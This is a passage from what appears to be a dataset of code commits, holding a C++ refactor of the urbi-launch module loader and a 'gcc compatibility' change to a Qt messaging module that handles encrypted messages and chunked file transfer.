p = s;\n if (!p.absolute_get())\n p = libport::get_current_directory() \/ p;\n return p.to_string();\n}\n\nstatic\nint\nltdebug(unsigned verbosity, unsigned level, const char* format, va_list args)\n{\n int errors = 0;\n if (level <= verbosity)\n {\n errors += fprintf(stderr, \"%s: \", program_name().c_str()) < 0;\n errors += vfprintf(stderr, format, args) < 0;\n }\n return errors;\n}\n\ntypedef int (*umain_type)(const libport::cli_args_type& args,\n bool block, bool errors);\nint\nmain(int argc, char* argv[])\n{\n libport::program_initialize(argc, argv);\n unsigned verbosity = 0;\n libport::path urbi_root = libport::xgetenv(\"URBI_ROOT\", URBI_ROOT);\n\n enum ConnectMode\n {\n \/\/\/ Start a new engine and plug the module\n MODE_PLUGIN_START,\n \/\/\/ Load the module in a running engine as a plugin\n MODE_PLUGIN_LOAD,\n \/\/\/ Connect the module to a running engine (remote uobject)\n MODE_REMOTE\n };\n ConnectMode connect_mode = MODE_REMOTE;\n \/\/\/ Core dll to use.\n std::string dll;\n \/\/\/ Server host name.\n std::string host = \"localhost\";\n \/\/\/ Server port.\n int port = urbi::UClient::URBI_PORT;\n \/\/ The list of modules.\n modules_type modules;\n\n \/\/ The options passed to urbi::main.\n libport::cli_args_type args;\n libport::cli_args_type args4modules;\n args << argv[0];\n\n libport::OptionValue\n arg_custom(\"start using the shared library FILE\", \"custom\", 'c', \"FILE\"),\n arg_debug(\"increase verbosity for debug\", \"debug\", 0, \"N\"),\n arg_pfile(\"file containing the port to listen to\", \"port-file\", 0, \"FILE\");\n libport::OptionFlag\n arg_plugin(\"start as a plugin uobject on a running server\", \"plugin\", 'p'),\n arg_remote(\"start as a remote uobject\", \"remote\", 'r'),\n arg_start(\"start an urbi server and connect as plugin\", \"start\", 's');\n libport::OptionsEnd arg_end;\n\n libport::OptionParser opt_parser;\n opt_parser << \"Urbi-Launch options:\"\n\t << libport::opts::help\n\t << libport::opts::version\n\t << arg_custom\n\t << arg_debug\n\t << \"Mode selection:\"\n\t << arg_plugin\n\t << arg_remote\n\t << arg_start\n\t << \"Urbi-Launch options for plugin mode:\"\n\t << libport::opts::host\n\t << libport::opts::port\n\t << arg_pfile\n\t << arg_end;\n\n try\n {\n args4modules = opt_parser(libport::program_arguments());\n }\n catch (libport::Error& e)\n {\n const libport::Error::errors_type& err = e.errors();\n foreach (std::string wrong_arg, err)\n libport::invalid_option(wrong_arg);\n }\n foreach (std::string& mod_arg, args4modules)\n modules << absolute(mod_arg);\n\n if (libport::opts::version.get())\n version();\n if (libport::opts::help.get())\n usage(opt_parser);\n if (arg_custom.filled())\n dll = arg_custom.value();\n if (arg_debug.filled())\n verbosity = arg_debug.get<unsigned>(1);\n if (libport::opts::host.filled())\n {\n host = libport::opts::host.value();\n args << \"--host\" << host;\n }\n if (arg_plugin.get())\n connect_mode = MODE_PLUGIN_LOAD;\n if (libport::opts::port.filled())\n {\n port = libport::opts::port.get<int>();\n args << \"--port\" << libport::opts::port.value();\n }\n if (arg_pfile.filled())\n {\n std::string my_arg = arg_pfile.value();\n port = libport::file_contents_get<int>(my_arg);\n args << \"--port-file\" << my_arg;\n }\n if (arg_remote.get())\n connect_mode = MODE_REMOTE;\n if (arg_start.get())\n connect_mode = MODE_PLUGIN_START;\n args.insert(args.end(), arg_end.get().begin(), arg_end.get().end());\n\n if (connect_mode == MODE_PLUGIN_LOAD)\n return connect_plugin(host, port, modules);\n\n if (dll.empty())\n dll = urbi_root \/ \"gostai\" \/ \"core\" \/ URBI_HOST \/\n (connect_mode == MODE_REMOTE ? \"remote\" : \"engine\") \/ \"libuobject\";\n\n \/* The two other modes are handled the same way:\n * -Dlopen the correct libuobject.\n * -Dlopen the uobjects to load.\n * -Call urbi::main found by dlsym() in libuobject.\n *\/\n lt_dladd_log_function((lt_dllog_function*) <debug, (void*) verbosity);\n lt_dlinit();\n lt_dlhandle core = libport::xlt_dlopenext(dll, true, EX_OSFILE, verbosity);\n foreach (const std::string& s, modules)\n libport::xlt_dlopenext(s, false, EX_NOINPUT);\n\n umain_type umain = libport::xlt_dlsym<umain_type>(core, \"urbi_main_args\");\n umain(args, true, true);\n}\n<commit_msg>urbi-launch: refactoring.<commit_after>#include <string>\n#include <cassert>\n#include <cstdarg>\n#include <libport\/cstdlib>\n#include <iostream>\n#include <stdexcept>\n\n#include <sdk\/config.h>\n\n#include <libport\/cli.hh>\n#include <libport\/containers.hh>\n#include <libport\/file-system.hh>\n#include <libport\/foreach.hh>\n#include <libport\/path.hh>\n#include <libport\/package-info.hh>\n#include <libport\/program-name.hh>\n#include <libport\/sysexits.hh>\n#include <libport\/unistd.h>\n#include <libport\/windows.hh>\n#include <libport\/option-parser.hh>\n#include <libport\/xltdl.hh>\n\n#include <urbi\/exit.hh>\n#include <urbi\/package-info.hh>\n#include <urbi\/uclient.hh>\n\nusing namespace urbi;\nusing libport::program_name;\n\n\/\/ List of module names.\ntypedef std::list<std::string> modules_type;\n\nstatic UCallbackAction\nonError(const UMessage& msg)\n{\n std::cerr << program_name()\n << \": load module error: \" << msg.message << std::endl;\n return URBI_CONTINUE;\n}\n\nstatic UCallbackAction\nonDone(const UMessage&)\n{\n ::exit(0);\n}\n\nstatic int\nconnect_plugin(const std::string& host, int port, const modules_type& modules)\n{\n UClient cl(host, port);\n if (cl.error())\n \/\/ UClient already displayed an error message.\n ::exit(1);\n cl.setErrorCallback(callback(&onError));\n cl.setCallback(callback(&onDone), \"output\");\n foreach (const std::string& m, modules)\n cl << \"loadModule(\\\"\" << m << \"\\\");\";\n cl << \"output << 1;\";\n while (true)\n sleep(1);\n return 0;\n}\n\nstatic void\nusage(libport::OptionParser& parser)\n{\n std::cout <<\n \"usage: \" << program_name() <<\n \" [OPTIONS] MODULE_NAMES ... [-- UOPTIONS...]\\n\"\n \"Start an UObject in either remote or plugin mode.\\n\"\n << parser <<\n \"\\n\"\n \"MODULE_NAMES is a list of modules.\\n\"\n \"UOPTIONS are passed to urbi::main in remote and start modes.\\n\"\n \"\\n\"\n \"Exit values:\\n\"\n \" 0 success\\n\"\n \" \" << EX_NOINPUT << \" some of the MODULES are missing\\n\"\n \" \" << EX_OSFILE << \" libuobject is missing\\n\"\n \" * other kinds of errors\\n\"\n ;\n ::exit(EX_OK);\n}\n\n\nstatic\nvoid\nversion()\n{\n std::cout << urbi::package_info() << std::endl\n << libport::exit(EX_OK);\n}\n\nstatic\nstd::string\nabsolute(const std::string& s)\n{\n libport::path p = s;\n if (!p.absolute_get())\n p = libport::get_current_directory() \/ p;\n return p.to_string();\n}\n\nstatic\nint\nltdebug(unsigned verbosity, unsigned level, const char* format, va_list args)\n{\n int errors = 0;\n if (level <= verbosity)\n {\n errors += fprintf(stderr, \"%s: \", program_name().c_str()) < 0;\n errors += vfprintf(stderr, format, args) < 0;\n }\n return errors;\n}\n\ntypedef int (*umain_type)(const libport::cli_args_type& args,\n bool block, bool errors);\nint\nmain(int argc, char* argv[])\n{\n libport::program_initialize(argc, argv);\n unsigned verbosity = 0;\n\n enum ConnectMode\n {\n \/\/\/ Start a new engine and plug the module\n MODE_PLUGIN_START,\n \/\/\/ Load the module in a running engine as a plugin\n MODE_PLUGIN_LOAD,\n \/\/\/ Connect the module to a running engine (remote uobject)\n MODE_REMOTE\n };\n ConnectMode connect_mode = MODE_REMOTE;\n \/\/\/ Core dll to use.\n std::string dll;\n \/\/\/ Server host name.\n std::string host = \"localhost\";\n \/\/\/ Server port.\n int port = urbi::UClient::URBI_PORT;\n \/\/ The list of modules.\n modules_type modules;\n\n \/\/ The options passed to urbi::main.\n libport::cli_args_type args;\n libport::cli_args_type args4modules;\n args << argv[0];\n\n libport::OptionValue\n arg_custom(\"start using the shared library FILE\", \"custom\", 'c', \"FILE\"),\n arg_debug(\"increase verbosity for debug\", \"debug\", 0, \"N\"),\n arg_pfile(\"file containing the port to listen to\", \"port-file\", 0, \"FILE\");\n libport::OptionFlag\n arg_plugin(\"start as a plugin uobject on a running server\", \"plugin\", 'p'),\n arg_remote(\"start as a remote uobject\", \"remote\", 'r'),\n arg_start(\"start an urbi server and connect as plugin\", \"start\", 's');\n libport::OptionsEnd arg_end;\n\n libport::OptionParser opt_parser;\n opt_parser << \"Urbi-Launch options:\"\n\t << libport::opts::help\n\t << libport::opts::version\n\t << arg_custom\n\t << arg_debug\n\t << \"Mode selection:\"\n\t << arg_plugin\n\t << arg_remote\n\t << arg_start\n\t << \"Urbi-Launch options for plugin mode:\"\n\t << libport::opts::host\n\t << libport::opts::port\n\t << arg_pfile\n\t << arg_end;\n\n try\n {\n args4modules = opt_parser(libport::program_arguments());\n }\n catch (libport::Error& e)\n {\n const libport::Error::errors_type& err = e.errors();\n foreach (std::string wrong_arg, err)\n libport::invalid_option(wrong_arg);\n }\n foreach (std::string& mod_arg, args4modules)\n modules << absolute(mod_arg);\n\n if (libport::opts::version.get())\n version();\n if (libport::opts::help.get())\n usage(opt_parser);\n if (arg_custom.filled())\n dll = arg_custom.value();\n if (arg_debug.filled())\n verbosity = arg_debug.get<unsigned>(1);\n if (libport::opts::host.filled())\n {\n host = libport::opts::host.value();\n args << \"--host\" << host;\n }\n if (arg_plugin.get())\n connect_mode = MODE_PLUGIN_LOAD;\n if (libport::opts::port.filled())\n {\n port = libport::opts::port.get<int>();\n args << \"--port\" << libport::opts::port.value();\n }\n if (arg_pfile.filled())\n {\n std::string my_arg = arg_pfile.value();\n port = libport::file_contents_get<int>(my_arg);\n args << \"--port-file\" << my_arg;\n }\n if (arg_remote.get())\n connect_mode = MODE_REMOTE;\n if (arg_start.get())\n connect_mode = MODE_PLUGIN_START;\n args.insert(args.end(), arg_end.get().begin(), arg_end.get().end());\n\n if (connect_mode == MODE_PLUGIN_LOAD)\n return connect_plugin(host, port, modules);\n\n libport::path urbi_root = libport::xgetenv(\"URBI_ROOT\", URBI_ROOT);\n libport::path coredir = urbi_root \/ \"gostai\" \/ \"core\" \/ URBI_HOST;\n if (dll.empty())\n dll = (coredir\n \/ (connect_mode == MODE_REMOTE ? \"remote\" : \"engine\")\n \/ \"libuobject\");\n\n \/* The two other modes are handled the same way:\n * -Dlopen the correct libuobject.\n * -Dlopen the uobjects to load.\n * -Call urbi::main found by dlsym() in libuobject.\n *\/\n lt_dladd_log_function((lt_dllog_function*) <debug, (void*) verbosity);\n lt_dlinit();\n lt_dlhandle core = libport::xlt_dlopenext(dll, true, EX_OSFILE, verbosity);\n foreach (const std::string& s, modules)\n libport::xlt_dlopenext(s, false, EX_NOINPUT);\n\n umain_type umain = libport::xlt_dlsym<umain_type>(core, \"urbi_main_args\");\n umain(args, true, true);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"messages.h\"\n\n\n\n\n\n\n\nqint64 Messages::FileSendingContext::transferID;\nQMap<qint64, std::shared_ptr<Messages::FileSendingContext>> Messages::FileSendingContext::transfers;\n\nqint64 Messages::FileReceivingContext::transferID;\nQMap<qint64, std::shared_ptr<Messages::FileReceivingContext>> Messages::FileReceivingContext::transfers;\n\n\n\n\nMessages::Messages(peer *peerToConnect = nullptr, QObject *parent) : QObject(parent), mPeer(peerToConnect)\n{\n \/\/here we create peerconnection session\n}\n\nMessages::~Messages()\n{\n\n}\n\n\nMessages::ArmaMessage Messages::createRegularMessage(Session & session, const QString & message) {\n\treturn addMessageHeader(session, message.toUtf8(), Messages::MsgType::RegularMessage, Messages::MsgType::RegularMessageDH);\n}\n\nMessages::ArmaMessage Messages::createLoginMessage(QString & name, const QString & password, int port, bool reg) {\n \/\/TODO: certificate and port\n\tArmaMessage ret;\n ret.append(reg ? \"r\" : \"l\");\n ret.append(Messages::armaSeparator);\n\tret.append(name.toUtf8().toBase64());\n\tret.append(Messages::armaSeparator);\n\tret.append(password.toUtf8().toBase64());\n ret.append(Messages::armaSeparator);\n ret.append(QString::number(port).toUtf8().toBase64());\n\treturn ret;\n}\n\nbool Messages::isJsonMessage(const ArmaMessage& message) {\n\treturn !QJsonDocument::fromJson(message).isNull();\n}\n\nbool Messages::parseJsonUsers(ArmaMessage &message, QList<peer>& usersList) {\n\tusersList.clear();\n\tQJsonDocument jsonDoc = QJsonDocument::fromJson(message);\n\tif (jsonDoc.isNull()) {\n\t\treturn false;\n\t}\n\tQJsonObject jsonObject = jsonDoc.object();\n\tif (jsonObject[\"users\"].isArray()) {\n\t\tQJsonArray users = jsonObject[\"users\"].toArray();\n\t\tforeach (QJsonValue user, users)\n\t\t{\n\t\t\tQJsonObject userObject = user.toObject();\n\t\t\tpeer p;\n\t\t\tp.address = userObject[\"address\"].toString();\n\t\t\tp.name = userObject[\"nick\"].toString();\n\t\t\tp.listeningPort = userObject[\"port\"].toInt();\n\t\t\tusersList.append(p);\n\t\t}\n\t}\n\telse {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nbool Messages::parseMessage(std::function<Session &(QString & name)> sessions, const ArmaMessage & message, std::function<void(Session &, MsgType, const ReceivedMessage &)> callback) {\n\tQString senderNick, receiverNick;\n\tQByteArray dh;\n QDateTime timestamp;\n MsgType type;\n\n QList<QByteArray> list = message.split(armaSeparator);\n\n if (list.size() < 5) throw MessageException(\"incomplete message\");\n\n senderNick = QString::fromUtf8(QByteArray::fromBase64(list[0]));\n receiverNick = QString::fromUtf8(QByteArray::fromBase64(list[1]));\n\n\tSession & session = sessions(senderNick);\n\tif (session.getMyName() != receiverNick) throw MessageException(\"Message not for this client.\");\n\n\tReceivedMessage parsedMessage;\n timestamp.setMSecsSinceEpoch(list[2].toLongLong());\n parsedMessage.timestamp = timestamp;\n\n type = static_cast<MsgType>(list[3][0] - 'A');\n\n\n QByteArray messageText;\n\n if(type == Messages::MsgType::PureDH)\n {\n dh = QByteArray::fromBase64(list[4]);\n\n SessionKey& sk = session.getKey();\n\n int contextDataLength = list[0].size() + list[1].size() + list[2].size() + list[3].size() + list[4].size() + 5;\n QByteArray messageText;\n try {\n QByteArray a1 = message.left(contextDataLength);\n QByteArray a2 = message.right(message.length() - contextDataLength);\n messageText = sk.unprotect(a2, a1);\n }\n catch (KryptoException e) {\n return false;\n }\n sk.setDH(dh);\n sk.generateKey();\n\n parsedMessage.messageText = messageText;\n\t\treturn true;\n }\n else if (type % 2) {\n\t\tif (list.size() < 6) throw MessageException(\"incomplete message\");\n\t\tdh = QByteArray::fromBase64(list[4]);\n\n\t\tSessionKey& sk = session.getKey();\n\n\t\tint contextDataLength = list[0].size() + list[1].size() + list[2].size() + list[3].size() + list[4].size() + 5;\n\t\tQByteArray messageText;\n\t\ttry {\n\t\t\tQByteArray a1 = message.left(contextDataLength);\n\t\t\tQByteArray a2 = message.right(message.length() - contextDataLength);\n\t\t\tmessageText = sk.unprotect(a2, a1);\n\t\t}\n\t\tcatch (KryptoException e) {\n\t\t\treturn false;\n\t\t}\n\t\tsk.setDH(dh);\n\t\tsk.generateKey();\n\n\t\tparsedMessage.messageText = messageText;\n\t}\n \/\/regularMessage\n\telse {\n\n SessionKey& sk = session.getKey();\n int contextDataLength = list[0].size() + list[1].size() + list[2].size() + list[3].size() + 4; \/\/number of separators\n try{\n QByteArray a1 = message.left(contextDataLength);\n QByteArray a2 = message.right(message.length() - contextDataLength);\n messageText = sk.unprotect(a2, a1);\n }\n catch (KryptoException e) {\n return false;\n }\n parsedMessage.messageText = messageText;\n }\n\n\tcallback(session, type, parsedMessage);\n return true;\n}\n\nQByteArray Messages::addMessageHeader(Session & session, const QByteArray & payload, Messages::MsgType type, Messages::MsgType typeDH) {\n\tQByteArray ret;\n\tSessionKey & key = session.getKey();\n\n\tret.append(session.getMyName().toUtf8().toBase64());\n\tret.append(Messages::armaSeparator);\n\tret.append(session.getPartnerName().toUtf8().toBase64());\n\tret.append(Messages::armaSeparator);\n\tret.append(QString::number(QDateTime::currentMSecsSinceEpoch()));\n\tret.append(Messages::armaSeparator);\n\n\tQByteArray dh = key.conditionalGetDH();\n\tif (dh.length() > 0) {\n\t\tret.append('A' + typeDH);\n\t\tret.append(Messages::armaSeparator);\n\t\tret.append(dh.toBase64());\n\t}\n\telse {\n\t\tret.append('A' + type);\n\t}\n\tret.append(Messages::armaSeparator);\n\n\tret.append(key.protect(payload, ret));\n\n\tif (dh.length() > 0) key.generateKey();\n\treturn ret;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nvoid Messages::FileSendingContext::sendFile(Session & s, const QString & path, std::function<void(const QByteArray &)> sender) {\n\tQByteArray payload;\n\tauto it = transfers.insert(++transferID, std::shared_ptr<FileSendingContext>(new FileSendingContext(s, path, sender)));\n\n\tpayload.append(QByteArray::number(transferID));\n\tpayload.append(Messages::armaSeparator);\n\tpayload.append(QByteArray::number((*it)->fileSize));\n\n\tsender(Messages::addMessageHeader(s, payload, MsgType::FileContext, MsgType::FileContextDH));\n}\n\nvoid Messages::FileSendingContext::confirmFile(Session & s, const QByteArray & response) {\n\tQList<QByteArray> list = response.split(Messages::armaSeparator);\n\n\tqint64 id = list[0].toLongLong();\n\tauto it = transfers.find(id);\n\t(*it)->destID = list[1].toLongLong();\n\t(*it)->startSending();\n}\n\nvoid Messages::FileReceivingContext::receiveFile(Session & s, const QByteArray & payload, std::function<void(const QByteArray &)> sender) {\n\tQList<QByteArray> list = payload.split(Messages::armaSeparator);\n\tqint64 id = list[0].toLongLong();\n\tqint64 size = list[1].toLongLong();\n\n\tQString path = \"downloads\/\";\n\tpath.append(QString::number(++transferID));\n\tpath.append(\".rec\");\n\n\tauto it = transfers.insert(transferID, std::shared_ptr<FileReceivingContext>(new FileReceivingContext(s, path)));\n\n\tQByteArray response;\n\tresponse.append(QByteArray::number(id));\n\tresponse.append(Messages::armaSeparator);\n\tresponse.append(QByteArray::number(transferID));\n\n\tif(sender) sender(Messages::addMessageHeader(s, response, MsgType::FileResponse, MsgType::FileResponseDH));\n\telse s.send(Messages::addMessageHeader(s, response, MsgType::FileResponse, MsgType::FileResponseDH));\n}\n\nvoid Messages::FileReceivingContext::receiveChunk(Session & s, const QByteArray & payload) {\n\tQList<QByteArray> list = payload.split(Messages::armaSeparator);\n\n\tqint64 id = list[0].toLongLong();\n\tqint64 start = list[1].toLongLong();\n\tqint64 len = list[2].toLongLong();\n\n\tauto it = transfers.find(id);\n\t(*it)->parseChunk(start, len, payload.right(payload.length() - (list[0].length() + list[1].length() + list[2].length() + 3)));\n}\n\n\nMessages::FileSendingContext::FileSendingContext(Session & session, QString path, std::function<void(const QByteArray &)> dataSender) : session(session), path(path), dataSender(dataSender) {\n\tQFile file(path);\n\tif(!file.open(QIODevice::ReadWrite)) throw MessageException(\"Unable to open file!\");\n\tfileSize = file.size();\n\tfile.close();\n}\n\n\nbool Messages::FileSendingContext::startSending() {\n\tqint64 chunks = (fileSize - 1) \/ Messages::maxChunkSize + 1;\n\tqint64 threads = std::min(chunks, maxThreads);\n\tqint64 done = 0;\n\n\tfor (qint64 i = 0; i < threads; ++i) {\n\t\tworkers.push_back(Worker(session, destID, path, dataSender));\n\n\t\t\/\/ Load balancer\n\t\tqint64 cChunks = ((chunks - 1) \/ threads + (((chunks - 1) % threads < i) ? 0 : 1));\n\t\tqint64 start = done * Messages::maxChunkSize;\n\t\tdone += cChunks;\n\t\tqint64 len = (i == threads - 1) ? (fileSize - start) : (cChunks * Messages::maxChunkSize);\n\n\t\tfutures.push_back(QtConcurrent::run(workers.back(), start, len));\n\t}\n\treturn true;\n}\n\nvoid Messages::FileSendingContext::Worker::operator()(qint64 gstart, qint64 glen) {\n\tQFile file(path);\n\tfile.open(QIODevice::ReadOnly);\n\tfile.seek(gstart);\n\n\tdo {\n\t\tqint64 len = std::min(glen, maxChunkSize);\n\t\tqint64 start = file.pos();\n\t\tglen -= len;\n\n\t\tQByteArray payload;\n\t\tpayload.append(QString::number(destID));\n\t\tpayload.append(Messages::armaSeparator);\n\t\tpayload.append(QString::number(start));\n\t\tpayload.append(Messages::armaSeparator);\n\t\tpayload.append(QString::number(len));\n\t\tpayload.append(Messages::armaSeparator);\n\t\tpayload.append(file.read(len));\n\n\t\tQByteArray ret = addMessageHeader(session, payload, Messages::MsgType::FileMessage, Messages::MsgType::FileMessageDH);\n\n\t\tdataSender(ret);\n\t} while (glen > 0);\n\tfile.close();\n}\n\nMessages::FileReceivingContext::FileReceivingContext(Session & session, QString path) : session(session), path(path) {\n\tQFile file(path);\n\tif (!file.open(QIODevice::ReadWrite)) throw MessageException(\"Unable to open file!\");\n\tfileSize = file.size();\n\tfile.close();\n}\n\n\nvoid Messages::FileReceivingContext::parseChunk(qint64 start, qint64 len, const QByteArray & data) {\n\tworkers.push_back(Worker(session, path, fileSize));\n\tfutures.push_back(QtConcurrent::run(workers.back(), start, len, data));\n}\n\nvoid Messages::FileReceivingContext::parseChunk(const QByteArray & data) {\n\tQList<QByteArray> list = data.split(Messages::armaSeparator);\n\n\tqint64 start = list[0].toLongLong();\n\tqint64 len = list[1].toLongLong();\n\n\tparseChunk(start, len, data.right(data.length() - (list[0].length() + list[1].length() + 2)));\n}\n\nvoid Messages::FileReceivingContext::Worker::operator()(qint64 start, qint64 len, QByteArray data) {\n\t\n\n\t\/\/if (start + len > fileSize) throw MessageException(\"File chunk out of range.\");\n\n\tQFile file(path);\n\tfile.open(QIODevice::ReadWrite);\n\tfile.seek(start);\n\tfile.write(data);\n\tfile.close();\n}\n<commit_msg>gcc compatibility<commit_after>#include \"messages.h\"\n\n\n\nconst char Messages::armaSeparator;\nconst qint64 Messages::maxThreads;\nconst qint64 Messages::maxChunkSize;\n\n\n\nqint64 Messages::FileSendingContext::transferID;\nQMap<qint64, std::shared_ptr<Messages::FileSendingContext>> Messages::FileSendingContext::transfers;\n\nqint64 Messages::FileReceivingContext::transferID;\nQMap<qint64, std::shared_ptr<Messages::FileReceivingContext>> Messages::FileReceivingContext::transfers;\n\n\n\n\nMessages::Messages(peer *peerToConnect = nullptr, QObject *parent) : QObject(parent), mPeer(peerToConnect)\n{\n \/\/here we create peerconnection session\n}\n\nMessages::~Messages()\n{\n\n}\n\n\nMessages::ArmaMessage Messages::createRegularMessage(Session & session, const QString & message) {\n\treturn addMessageHeader(session, message.toUtf8(), Messages::MsgType::RegularMessage, Messages::MsgType::RegularMessageDH);\n}\n\nMessages::ArmaMessage Messages::createLoginMessage(QString & name, const QString & password, int port, bool reg) {\n \/\/TODO: certificate and port\n\tArmaMessage ret;\n ret.append(reg ? \"r\" : \"l\");\n ret.append(Messages::armaSeparator);\n\tret.append(name.toUtf8().toBase64());\n\tret.append(Messages::armaSeparator);\n\tret.append(password.toUtf8().toBase64());\n ret.append(Messages::armaSeparator);\n ret.append(QString::number(port).toUtf8().toBase64());\n\treturn ret;\n}\n\nbool Messages::isJsonMessage(const ArmaMessage& message) {\n\treturn !QJsonDocument::fromJson(message).isNull();\n}\n\nbool Messages::parseJsonUsers(ArmaMessage &message, QList<peer>& usersList) {\n\tusersList.clear();\n\tQJsonDocument jsonDoc = QJsonDocument::fromJson(message);\n\tif (jsonDoc.isNull()) {\n\t\treturn false;\n\t}\n\tQJsonObject jsonObject = jsonDoc.object();\n\tif (jsonObject[\"users\"].isArray()) {\n\t\tQJsonArray users = jsonObject[\"users\"].toArray();\n\t\tforeach (QJsonValue user, users)\n\t\t{\n\t\t\tQJsonObject userObject = user.toObject();\n\t\t\tpeer p;\n\t\t\tp.address = userObject[\"address\"].toString();\n\t\t\tp.name = userObject[\"nick\"].toString();\n\t\t\tp.listeningPort = userObject[\"port\"].toInt();\n\t\t\tusersList.append(p);\n\t\t}\n\t}\n\telse {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nbool Messages::parseMessage(std::function<Session &(QString & name)> sessions, const ArmaMessage & message, std::function<void(Session &, MsgType, const ReceivedMessage &)> callback) {\n\tQString senderNick, receiverNick;\n\tQByteArray dh;\n QDateTime timestamp;\n MsgType type;\n\n QList<QByteArray> list = message.split(armaSeparator);\n\n if (list.size() < 5) throw MessageException(\"incomplete message\");\n\n senderNick = QString::fromUtf8(QByteArray::fromBase64(list[0]));\n receiverNick = QString::fromUtf8(QByteArray::fromBase64(list[1]));\n\n\tSession & session = sessions(senderNick);\n\tif (session.getMyName() != receiverNick) throw MessageException(\"Message not for this client.\");\n\n\tReceivedMessage parsedMessage;\n timestamp.setMSecsSinceEpoch(list[2].toLongLong());\n parsedMessage.timestamp = timestamp;\n\n type = static_cast<MsgType>(list[3][0] - 'A');\n\n\n QByteArray messageText;\n\n if(type == Messages::MsgType::PureDH)\n {\n dh = QByteArray::fromBase64(list[4]);\n\n SessionKey& sk = session.getKey();\n\n int contextDataLength = list[0].size() + list[1].size() + list[2].size() + list[3].size() + list[4].size() + 5;\n QByteArray messageText;\n try {\n QByteArray a1 = message.left(contextDataLength);\n QByteArray a2 = message.right(message.length() - contextDataLength);\n messageText = sk.unprotect(a2, a1);\n }\n catch (KryptoException e) {\n return false;\n }\n sk.setDH(dh);\n sk.generateKey();\n\n parsedMessage.messageText = messageText;\n\t\treturn true;\n }\n else if (type % 2) {\n\t\tif (list.size() < 6) throw MessageException(\"incomplete message\");\n\t\tdh = QByteArray::fromBase64(list[4]);\n\n\t\tSessionKey& sk = session.getKey();\n\n\t\tint contextDataLength = list[0].size() + list[1].size() + list[2].size() + list[3].size() + list[4].size() + 5;\n\t\tQByteArray messageText;\n\t\ttry {\n\t\t\tQByteArray a1 = message.left(contextDataLength);\n\t\t\tQByteArray a2 = message.right(message.length() - contextDataLength);\n\t\t\tmessageText = sk.unprotect(a2, a1);\n\t\t}\n\t\tcatch (KryptoException e) {\n\t\t\treturn false;\n\t\t}\n\t\tsk.setDH(dh);\n\t\tsk.generateKey();\n\n\t\tparsedMessage.messageText = messageText;\n\t}\n \/\/regularMessage\n\telse {\n\n SessionKey& sk = session.getKey();\n int contextDataLength = list[0].size() + list[1].size() + list[2].size() + list[3].size() + 4; \/\/number of separators\n try{\n QByteArray a1 = message.left(contextDataLength);\n QByteArray a2 = message.right(message.length() - contextDataLength);\n messageText = sk.unprotect(a2, a1);\n }\n catch (KryptoException e) {\n return false;\n }\n parsedMessage.messageText = messageText;\n }\n\n\tcallback(session, type, parsedMessage);\n return true;\n}\n\nQByteArray Messages::addMessageHeader(Session & session, const QByteArray & payload, Messages::MsgType type, Messages::MsgType typeDH) {\n\tQByteArray ret;\n\tSessionKey & key = session.getKey();\n\n\tret.append(session.getMyName().toUtf8().toBase64());\n\tret.append(Messages::armaSeparator);\n\tret.append(session.getPartnerName().toUtf8().toBase64());\n\tret.append(Messages::armaSeparator);\n\tret.append(QString::number(QDateTime::currentMSecsSinceEpoch()));\n\tret.append(Messages::armaSeparator);\n\n\tQByteArray dh = key.conditionalGetDH();\n\tif (dh.length() > 0) {\n\t\tret.append('A' + typeDH);\n\t\tret.append(Messages::armaSeparator);\n\t\tret.append(dh.toBase64());\n\t}\n\telse {\n\t\tret.append('A' + type);\n\t}\n\tret.append(Messages::armaSeparator);\n\n\tret.append(key.protect(payload, ret));\n\n\tif (dh.length() > 0) key.generateKey();\n\treturn ret;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nvoid Messages::FileSendingContext::sendFile(Session & s, const QString & path, std::function<void(const QByteArray &)> sender) {\n\tQByteArray payload;\n\tauto it = transfers.insert(++transferID, std::shared_ptr<FileSendingContext>(new FileSendingContext(s, path, sender)));\n\n\tpayload.append(QByteArray::number(transferID));\n\tpayload.append(Messages::armaSeparator);\n\tpayload.append(QByteArray::number((*it)->fileSize));\n\n\tsender(Messages::addMessageHeader(s, payload, MsgType::FileContext, MsgType::FileContextDH));\n}\n\nvoid Messages::FileSendingContext::confirmFile(Session & s, const QByteArray & response) {\n\tQList<QByteArray> list = response.split(Messages::armaSeparator);\n\n\tqint64 id = list[0].toLongLong();\n\tauto it = transfers.find(id);\n\t(*it)->destID = list[1].toLongLong();\n\t(*it)->startSending();\n}\n\nvoid Messages::FileReceivingContext::receiveFile(Session & s, const QByteArray & payload, std::function<void(const QByteArray &)> sender) {\n\tQList<QByteArray> list = payload.split(Messages::armaSeparator);\n\tqint64 id = list[0].toLongLong();\n\tqint64 size = list[1].toLongLong();\n\n\tQString path = \"downloads\/\";\n\tpath.append(QString::number(++transferID));\n\tpath.append(\".rec\");\n\n\tauto it = transfers.insert(transferID, std::shared_ptr<FileReceivingContext>(new FileReceivingContext(s, path)));\n\n\tQByteArray response;\n\tresponse.append(QByteArray::number(id));\n\tresponse.append(Messages::armaSeparator);\n\tresponse.append(QByteArray::number(transferID));\n\n\tif(sender) sender(Messages::addMessageHeader(s, response, MsgType::FileResponse, MsgType::FileResponseDH));\n\telse s.send(Messages::addMessageHeader(s, response, MsgType::FileResponse, MsgType::FileResponseDH));\n}\n\nvoid Messages::FileReceivingContext::receiveChunk(Session & s, const QByteArray & payload) {\n\tQList<QByteArray> list = payload.split(Messages::armaSeparator);\n\n\tqint64 id = list[0].toLongLong();\n\tqint64 start = list[1].toLongLong();\n\tqint64 len = list[2].toLongLong();\n\n\tauto it = transfers.find(id);\n\t(*it)->parseChunk(start, len, payload.right(payload.length() - (list[0].length() + list[1].length() + list[2].length() + 3)));\n}\n\n\nMessages::FileSendingContext::FileSendingContext(Session & session, QString path, std::function<void(const QByteArray &)> dataSender) : session(session), path(path), dataSender(dataSender) {\n\tQFile file(path);\n\tif(!file.open(QIODevice::ReadWrite)) throw MessageException(\"Unable to open file!\");\n\tfileSize = file.size();\n\tfile.close();\n}\n\n\nbool Messages::FileSendingContext::startSending() {\n\tqint64 chunks = (fileSize - 1) \/ Messages::maxChunkSize + 1;\n\tqint64 threads = std::min(chunks, maxThreads);\n\tqint64 done = 0;\n\n\tfor (qint64 i = 0; i < threads; ++i) {\n\t\tworkers.push_back(Worker(session, destID, path, dataSender));\n\n\t\t\/\/ Load balancer\n\t\tqint64 cChunks = ((chunks - 